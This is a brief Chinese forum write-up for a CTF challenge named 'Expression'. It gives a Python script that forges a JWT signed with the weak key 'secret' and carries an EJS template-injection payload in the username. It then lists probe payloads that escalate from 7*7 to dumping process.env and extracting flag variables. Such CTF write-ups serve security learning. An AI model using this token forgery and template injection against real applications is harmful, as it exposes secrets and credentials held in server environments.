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Expression WP

yakusha1379,2026-06-01 14:01


破解签名密钥的内容另外的wp都有,这边补充下那个脚本的ssti一段

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import jwt, time
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payload = { "email": "test@test.com", "username": "<%= Object.keys(process.env).filter(k=>/flag/i.test(k)).map(k=>k+'='+process.env[k]).join('\n') %>", "iat": int(time.time()), "exp": int(time.time()) + 86400 * 7 }
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token = jwt.encode(payload, "secret", algorithm="HS256") print(token)

然后把请求包改成:
Cookie: token=上面生成的token

  1. 验证 SSTI:

<%= 7*7 %>

  1. 验证可用对象:

<%= process.version %>

  1. 枚举敏感数据入口:

<%= Object.keys(process.env).join(',') %>

  1. 精确提取 flag:

<%= Object.keys(process.env).filter(k=>/flag/i.test(k)).map(k=>k+'='+process.env[k]).join('\n') %>

暂无回复。你的想法是什么?